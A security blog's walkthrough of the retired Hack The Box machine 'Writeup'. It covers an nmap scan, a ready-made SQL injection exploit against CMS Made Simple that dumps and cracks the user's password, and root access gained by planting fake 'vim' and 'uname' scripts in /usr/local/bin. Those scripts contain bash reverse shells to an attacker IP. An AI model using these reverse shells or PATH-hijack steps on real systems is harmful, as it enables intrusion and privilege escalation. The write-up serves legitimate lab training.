Chris Ruggieri (Neocount Phoenix)

Security Blog, Rants, Raves, Write-ups, and Code

Writeup

Name: Writeup
Release Date: 08 Jun 2019
Retire Date: 12 Oct 2019
OS: Linux
Base Points: Easy - Retired [0]
Rated Difficulty:
Radar Graph:
artikrh 00 days, 00 hours, 16 mins, 19 seconds
qtc 00 days, 01 hours, 08 mins, 18 seconds
Creator: jkr
CherryTree File: CherryTree - Remove the .txt extension

Again, we start with nmap -sC -sV -Pn -p- -oA ./Writeup 10.10.10.138

 
$ nmap -sC -sV -Pn -p- -oA ./Writeup 10.10.10.138                                                                   
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-27 18:47 EDT         
Nmap scan report for 10.10.10.138
Host is up (0.11s latency).                
Not shown: 65533 filtered ports      
PORT   STATE SERVICE VERSION     
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)  
|   256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_  256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/writeup/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Nothing here yet.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 272.45 seconds

So, we are dealing with SSH, HTTP on their usual ports.  Navigating to the HTTP side has a pretty dope/nostalgic/retro page on it that basically tells us that there's DoS protections in place.  Like that would ever stop us, right everyone? <wink, wink, nudge, nudge>  Although that does kind of kill the usual Gobuster/Dirb/Dirbuster plan.

We do know that there is a DoS Web App Protection script running, so brute checking directories is out, but we also know that /writeup is disallowed from the nmap script.  Going into /writeup and checking the source code, we can see that it is using CMS Made Simple from around 2019 (copyright is 2004-2019).  That means that it's somewhere between version 2.2.9 and 2.2.13.  Running a quick CMS Made Simple 2.2 searchsploit finds a ready-made exploit for us to run some SQLi on.

So, let's run that and see what happens!

 

python 46635 -u http://10.10.10.138/writeup --crack -w /usr/share/wordlists/rockyou.txt

 

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] Password cracked: raykayjay9

Now we can ssh as jkr with raykayjay9 as the password.  Run LinEnum and I see that jkr is in a group called staff.  That's not a normal group..... Anything special about it?

 
jkr@writeup:~$ find / -group staff 2>/dev/null
/var/local
/usr/local
/usr/local/bin
/usr/local/include
/usr/local/share
/usr/local/share/sgml
/usr/local/share/sgml/misc
/usr/local/share/sgml/stylesheet
/usr/local/share/sgml/entities
/usr/local/share/sgml/dtd
/usr/local/share/sgml/declaration
/usr/local/share/fonts
/usr/local/share/man
/usr/local/share/emacs
/usr/local/share/emacs/site-lisp
/usr/local/share/xml
/usr/local/share/xml/schema
/usr/local/share/xml/misc
/usr/local/share/xml/entities
/usr/local/share/xml/declaration
/usr/local/games
/usr/local/man
/usr/local/src
/usr/local/etc
/usr/local/lib
/usr/local/lib/python3.5
/usr/local/lib/python3.5/dist-packages
/usr/local/lib/python2.7
/usr/local/lib/python2.7/dist-packages
/usr/local/lib/python2.7/site-packages
/usr/local/sbin

It looks like we can pretty much do anything in /usr/local since staff owns it.  Still not seeing an easy win here.  Let's check PATH variables.

 
jkr@writeup:/usr/local$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Well, there's something.  We belong to the Staff group, which owns everything in /usr/local, and /usr/local/bin is the first place the system looks for a system command.  Let's mock up a system command (a simple one like vim) with a reverse shell call in it and see if PATH runs it as root on a new login.  The answer is no.  Let's try it with uname instead since it looks like new ssh sessions run uname on login.

 
jkr@writeup:/usr/local$ cd /tmp
jkr@writeup:/tmp$ printf '#!/bin/bash' > vim
jkr@writeup:/tmp$ printf '\nbash -i >& /dev/tcp/10.10.14.7/4444 0>&1' >> vim
jkr@writeup:/tmp$ chmod a+x vim
jkr@writeup:/tmp$ cp vim /usr/local/bin
jkr@writeup:/tmp$ printf '#!/bin/bash' > uname
jkr@writeup:/tmp$ printf '\nbash -i >& /dev/tcp/10.10.14.7/4444 0>&1' >> uname
jkr@writeup:/tmp$ chmod a+x uname
jkr@writeup:/tmp$ cp uname /usr/local/bin

It looks like uname did the trick! Grab your goodies (flags, shadow file, ifconfig, etc) and you are finished!